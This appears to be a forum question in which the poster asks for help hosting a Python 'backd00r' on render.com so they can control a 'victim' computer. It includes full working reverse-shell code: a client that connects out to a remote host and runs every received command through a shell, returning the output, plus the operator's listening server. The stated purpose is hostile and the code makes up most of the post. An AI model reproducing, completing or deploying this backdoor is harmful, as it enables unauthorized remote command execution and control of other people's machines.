[Python] how to create a backd00r using python library "socket" and free hosting on render.com?

I took the code from the Internet, there is a "victim" and a "hacker". The "hacker" runs a server on his computer (server.py), and the victim connects using "client.py". If locally, everything works, but when I try to deploy it on render.com, an error appears: OSError: [Errno 99] Cannot assign requested address

Below I will provide a link to GitHub, which contains server.py and client.py, please help me make it so that I can bind my computer as a "Hacker" to the remote computer of the "Victim" via render.com

I tried using different ip, ports, server hostings

client.py:

# Imports
from ctypes.wintypes import INT
import socket
import subprocess


# Setting Up IP/Sockets
REMOTE_HOST = 'There need any ip, but which?'
REMOTE_PORT = 8081 # 2222
FORMAT = 'utf-8'
client = socket.socket()

# Initializing Connection
print("[-] Connection Initiating...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Connection initiated!")

# Runtime Loop
while True:
print("[-] Awaiting commands...")
command = client.recv(1024)
command = command.decode(FORMAT, errors='ignore')
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE, stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
print("[-] Sending response...")
client.send(output + output_error)


server.py:

# Imports
import socket

# Creating Listening Port
HOST = '0.0.0.0' # '192.168.43.82'
PORT = 10000 # 2222
FORMAT = 'utf-8'

server = socket.socket()
server.bind((HOST, PORT))

# Starting Server
print('[+] Server Started')
print('[+] Listening For Client Connection ...')
server.listen(1)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')

# Reciving Commands
while True:
command = input('Enter Command : ')
command = command.encode(FORMAT, errors='ignore')
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode(FORMAT, errors='ignore')
print(f"Output: {output}")
